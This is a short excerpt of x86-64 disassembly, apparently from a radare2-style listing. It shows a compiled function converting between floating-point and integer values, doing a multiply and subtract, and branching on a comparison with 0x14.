cvttss2si ebx, xmm1
mov cl, bl
call fcn.180002bf4
xorps xmm2, xmm2
cvtsi2ss xmm2, rax
movsx eax, bl
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movaps xmm0, xmm1
mulss xmm0, xmm6
subss xmm0, xmm2
cvttss2si rbx, xmm0
cmp rbx, 0x14
jge 0x180004b59
jmp 0x1800039e5